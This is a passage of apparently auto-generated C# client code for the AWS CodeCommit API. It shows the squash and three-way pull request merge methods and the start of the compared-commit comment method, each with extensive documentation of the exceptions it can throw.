cref="Amazon.CodeCommit.Model.ConcurrentReferenceUpdateException"> /// The merge cannot be completed because the target branch has been modified. Another /// user might have modified the target branch while the merge was in progress. Wait a /// few minutes, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileContentSizeLimitExceededException"> /// The file cannot be added because it is too large. The maximum file size that can be /// added is 6 MB, and the combined file content change size is 7 MB. Consider making /// these changes using a Git client. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FolderContentSizeLimitExceededException"> /// The commit cannot be created because at least one of the overall changes in the commit /// results in a folder whose contents exceed the limit of 6 MB. Either reduce the number /// and size of your changes, or split the changes across multiple folders. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionException"> /// The specified conflict resolution list is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidEmailException"> /// The specified email address either contains one or more characters that are not allowed, /// or it exceeds the maximum number of characters allowed for an email address. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFileModeException"> /// The specified file mode permission is not valid. For a list of valid file mode permissions, /// see <a>PutFile</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementContentException"> /// Automerge was specified for resolving the conflict, but the replacement type is not /// valid or content is missing. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementTypeException"> /// Automerge was specified for resolving the conflict, but the specified replacement /// type is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ManualMergeRequiredException"> /// The pull request cannot be merged automatically into the destination branch. You must /// manually merge the branches and resolve any conflicts. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumConflictResolutionEntriesExceededException"> /// The number of allowed conflict resolution entries was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileContentToLoadExceededException"> /// The number of files to load exceeds the allowed limit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumItemsToCompareExceededException"> /// The maximum number of items to compare between the source or destination branches /// and the merge base has exceeded the maximum allowed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MultipleConflictResolutionEntriesException"> /// More than one conflict resolution entries exists for the conflict. A conflict can /// have only one conflict resolution entry. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.NameLengthExceededException"> /// The user name is not valid because it has exceeded the character limit for author /// names. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestAlreadyClosedException"> /// The pull request status cannot be updated because it is already closed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementContentRequiredException"> /// USE_NEW_CONTENT was specified but no replacement content has been provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementTypeRequiredException"> /// A replacement type is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNotAssociatedWithPullRequestException"> /// The repository does not contain any pull requests with that pull request ID. Use GetPullRequest /// to verify the correct repository name for the pull request ID. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipOfSourceReferenceIsDifferentException"> /// The tip of the source branch in the destination repository does not match the tip /// of the source branch specified in your request. The pull request might have been updated. /// Make sure that you have the latest changes. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergePullRequestBySquash">REST API Reference for MergePullRequestBySquash Operation</seealso> public virtual MergePullRequestBySquashResponse MergePullRequestBySquash(MergePullRequestBySquashRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = MergePullRequestBySquashRequestMarshaller.Instance; options.ResponseUnmarshaller = MergePullRequestBySquashResponseUnmarshaller.Instance; return Invoke<MergePullRequestBySquashResponse>(request, options); } /// <summary> /// Attempts to merge the source commit of a pull request into the specified destination /// branch for that pull request at the specified commit using the squash merge strategy. /// If the merge is successful, it closes the pull request. /// </summary> /// <param name="request">Container for the necessary parameters to execute the MergePullRequestBySquash service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the MergePullRequestBySquash service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitMessageLengthExceededException"> /// The commit message is too long. Provide a shorter string. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ConcurrentReferenceUpdateException"> /// The merge cannot be completed because the target branch has been modified. Another /// user might have modified the target branch while the merge was in progress. Wait a /// few minutes, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileContentSizeLimitExceededException"> /// The file cannot be added because it is too large. The maximum file size that can be /// added is 6 MB, and the combined file content change size is 7 MB. Consider making /// these changes using a Git client. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FolderContentSizeLimitExceededException"> /// The commit cannot be created because at least one of the overall changes in the commit /// results in a folder whose contents exceed the limit of 6 MB. Either reduce the number /// and size of your changes, or split the changes across multiple folders. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionException"> /// The specified conflict resolution list is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidEmailException"> /// The specified email address either contains one or more characters that are not allowed, /// or it exceeds the maximum number of characters allowed for an email address. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFileModeException"> /// The specified file mode permission is not valid. For a list of valid file mode permissions, /// see <a>PutFile</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementContentException"> /// Automerge was specified for resolving the conflict, but the replacement type is not /// valid or content is missing. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementTypeException"> /// Automerge was specified for resolving the conflict, but the specified replacement /// type is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ManualMergeRequiredException"> /// The pull request cannot be merged automatically into the destination branch. You must /// manually merge the branches and resolve any conflicts. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumConflictResolutionEntriesExceededException"> /// The number of allowed conflict resolution entries was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileContentToLoadExceededException"> /// The number of files to load exceeds the allowed limit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumItemsToCompareExceededException"> /// The maximum number of items to compare between the source or destination branches /// and the merge base has exceeded the maximum allowed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MultipleConflictResolutionEntriesException"> /// More than one conflict resolution entries exists for the conflict. A conflict can /// have only one conflict resolution entry. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.NameLengthExceededException"> /// The user name is not valid because it has exceeded the character limit for author /// names. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestAlreadyClosedException"> /// The pull request status cannot be updated because it is already closed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementContentRequiredException"> /// USE_NEW_CONTENT was specified but no replacement content has been provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementTypeRequiredException"> /// A replacement type is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNotAssociatedWithPullRequestException"> /// The repository does not contain any pull requests with that pull request ID. Use GetPullRequest /// to verify the correct repository name for the pull request ID. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipOfSourceReferenceIsDifferentException"> /// The tip of the source branch in the destination repository does not match the tip /// of the source branch specified in your request. The pull request might have been updated. /// Make sure that you have the latest changes. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergePullRequestBySquash">REST API Reference for MergePullRequestBySquash Operation</seealso> public virtual Task<MergePullRequestBySquashResponse> MergePullRequestBySquashAsync(MergePullRequestBySquashRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = MergePullRequestBySquashRequestMarshaller.Instance; options.ResponseUnmarshaller = MergePullRequestBySquashResponseUnmarshaller.Instance; return InvokeAsync<MergePullRequestBySquashResponse>(request, options, cancellationToken); } #endregion #region MergePullRequestByThreeWay /// <summary> /// Attempts to merge the source commit of a pull request into the specified destination /// branch for that pull request at the specified commit using the three-way merge strategy. /// If the merge is successful, it closes the pull request. /// </summary> /// <param name="request">Container for the necessary parameters to execute the MergePullRequestByThreeWay service method.</param> /// /// <returns>The response from the MergePullRequestByThreeWay service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitMessageLengthExceededException"> /// The commit message is too long. Provide a shorter string. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ConcurrentReferenceUpdateException"> /// The merge cannot be completed because the target branch has been modified. Another /// user might have modified the target branch while the merge was in progress. Wait a /// few minutes, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileContentSizeLimitExceededException"> /// The file cannot be added because it is too large. The maximum file size that can be /// added is 6 MB, and the combined file content change size is 7 MB. Consider making /// these changes using a Git client. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FolderContentSizeLimitExceededException"> /// The commit cannot be created because at least one of the overall changes in the commit /// results in a folder whose contents exceed the limit of 6 MB. Either reduce the number /// and size of your changes, or split the changes across multiple folders. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionException"> /// The specified conflict resolution list is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidEmailException"> /// The specified email address either contains one or more characters that are not allowed, /// or it exceeds the maximum number of characters allowed for an email address. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFileModeException"> /// The specified file mode permission is not valid. For a list of valid file mode permissions, /// see <a>PutFile</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementContentException"> /// Automerge was specified for resolving the conflict, but the replacement type is not /// valid or content is missing. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementTypeException"> /// Automerge was specified for resolving the conflict, but the specified replacement /// type is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ManualMergeRequiredException"> /// The pull request cannot be merged automatically into the destination branch. You must /// manually merge the branches and resolve any conflicts. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumConflictResolutionEntriesExceededException"> /// The number of allowed conflict resolution entries was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileContentToLoadExceededException"> /// The number of files to load exceeds the allowed limit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumItemsToCompareExceededException"> /// The maximum number of items to compare between the source or destination branches /// and the merge base has exceeded the maximum allowed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MultipleConflictResolutionEntriesException"> /// More than one conflict resolution entries exists for the conflict. A conflict can /// have only one conflict resolution entry. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.NameLengthExceededException"> /// The user name is not valid because it has exceeded the character limit for author /// names. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestAlreadyClosedException"> /// The pull request status cannot be updated because it is already closed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementContentRequiredException"> /// USE_NEW_CONTENT was specified but no replacement content has been provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementTypeRequiredException"> /// A replacement type is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNotAssociatedWithPullRequestException"> /// The repository does not contain any pull requests with that pull request ID. Use GetPullRequest /// to verify the correct repository name for the pull request ID. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipOfSourceReferenceIsDifferentException"> /// The tip of the source branch in the destination repository does not match the tip /// of the source branch specified in your request. The pull request might have been updated. /// Make sure that you have the latest changes. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergePullRequestByThreeWay">REST API Reference for MergePullRequestByThreeWay Operation</seealso> public virtual MergePullRequestByThreeWayResponse MergePullRequestByThreeWay(MergePullRequestByThreeWayRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = MergePullRequestByThreeWayRequestMarshaller.Instance; options.ResponseUnmarshaller = MergePullRequestByThreeWayResponseUnmarshaller.Instance; return Invoke<MergePullRequestByThreeWayResponse>(request, options); } /// <summary> /// Attempts to merge the source commit of a pull request into the specified destination /// branch for that pull request at the specified commit using the three-way merge strategy. /// If the merge is successful, it closes the pull request. /// </summary> /// <param name="request">Container for the necessary parameters to execute the MergePullRequestByThreeWay service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the MergePullRequestByThreeWay service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitMessageLengthExceededException"> /// The commit message is too long. Provide a shorter string. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ConcurrentReferenceUpdateException"> /// The merge cannot be completed because the target branch has been modified. Another /// user might have modified the target branch while the merge was in progress. Wait a /// few minutes, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileContentSizeLimitExceededException"> /// The file cannot be added because it is too large. The maximum file size that can be /// added is 6 MB, and the combined file content change size is 7 MB. Consider making /// these changes using a Git client. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FolderContentSizeLimitExceededException"> /// The commit cannot be created because at least one of the overall changes in the commit /// results in a folder whose contents exceed the limit of 6 MB. Either reduce the number /// and size of your changes, or split the changes across multiple folders. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionException"> /// The specified conflict resolution list is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidEmailException"> /// The specified email address either contains one or more characters that are not allowed, /// or it exceeds the maximum number of characters allowed for an email address. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFileModeException"> /// The specified file mode permission is not valid. For a list of valid file mode permissions, /// see <a>PutFile</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementContentException"> /// Automerge was specified for resolving the conflict, but the replacement type is not /// valid or content is missing. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementTypeException"> /// Automerge was specified for resolving the conflict, but the specified replacement /// type is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ManualMergeRequiredException"> /// The pull request cannot be merged automatically into the destination branch. You must /// manually merge the branches and resolve any conflicts. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumConflictResolutionEntriesExceededException"> /// The number of allowed conflict resolution entries was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileContentToLoadExceededException"> /// The number of files to load exceeds the allowed limit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumItemsToCompareExceededException"> /// The maximum number of items to compare between the source or destination branches /// and the merge base has exceeded the maximum allowed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MultipleConflictResolutionEntriesException"> /// More than one conflict resolution entries exists for the conflict. A conflict can /// have only one conflict resolution entry. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.NameLengthExceededException"> /// The user name is not valid because it has exceeded the character limit for author /// names. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestAlreadyClosedException"> /// The pull request status cannot be updated because it is already closed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementContentRequiredException"> /// USE_NEW_CONTENT was specified but no replacement content has been provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementTypeRequiredException"> /// A replacement type is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNotAssociatedWithPullRequestException"> /// The repository does not contain any pull requests with that pull request ID. Use GetPullRequest /// to verify the correct repository name for the pull request ID. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipOfSourceReferenceIsDifferentException"> /// The tip of the source branch in the destination repository does not match the tip /// of the source branch specified in your request. The pull request might have been updated. /// Make sure that you have the latest changes. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergePullRequestByThreeWay">REST API Reference for MergePullRequestByThreeWay Operation</seealso> public virtual Task<MergePullRequestByThreeWayResponse> MergePullRequestByThreeWayAsync(MergePullRequestByThreeWayRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = MergePullRequestByThreeWayRequestMarshaller.Instance; options.ResponseUnmarshaller = MergePullRequestByThreeWayResponseUnmarshaller.Instance; return InvokeAsync<MergePullRequestByThreeWayResponse>(request, options, cancellationToken); } #endregion #region PostCommentForComparedCommit /// <summary> /// Posts a comment on the comparison between two commits. /// </summary> /// <param name="request">Container for the necessary parameters to execute the PostCommentForComparedCommit service method.</param> /// /// <returns>The response from the PostCommentForComparedCommit service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BeforeCommitIdAndAfterCommitIdAreSameException"> /// The before commit ID and the after commit ID are the same, which is not valid. The /// before commit ID and the after commit ID must be different commit IDs. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ClientRequestTokenRequiredException"> /// A client request token is required. A client request token is an unique, client-generated /// idempotency token that when provided in a request, ensures the request cannot be repeated /// with a changed parameter. If a request is received with the same parameters and a /// token is included, the request will return information about the initial request that /// used that token. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentContentRequiredException"> /// The comment is empty. You must provide some content for a comment. The content cannot /// be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentContentSizeLimitExceededException"> /// The comment is too large. Comments are limited to 1,000 characters. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitIdRequiredException"> /// A commit ID was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.IdempotencyParameterMismatchException"> /// The client request token is not valid. Either the token is not in a valid format, /// or the token has been used in a previous request and cannot be re-used. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidClientRequestTokenException"> /// The client request token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitIdException"> /// The specified commit ID is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFileLocationException"> /// The location of the file is not valid. Make sure that you include the extension of /// the file as well as the file name. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFilePositionException"> /// The position is not valid. Make sure that the line number exists in the version of /// the file you want to comment on. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRelativeFileVersionEnumException"> /// Either the enum is not in a valid format, or the specified file version enum is not /// valid in respect to the current file version. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathDoesNotExistException"> /// The specified path does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PostCommentForComparedCommit">REST API Reference for PostCommentForComparedCommit Operation</seealso> public virtual PostCommentForComparedCommitResponse PostCommentForComparedCommit(PostCommentForComparedCommitRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = PostCommentForComparedCommitRequestMarshaller.Instance; options.ResponseUnmarshaller = PostCommentForComparedCommitResponseUnmarshaller.Instance; return Invoke<PostCommentForComparedCommitResponse>(request, options); } /// <summary> /// Posts a comment on the comparison between two commits. /// </summary> /// <param name="request">Container for the necessary parameters to execute the PostCommentForComparedCommit service method.</param> /// <param 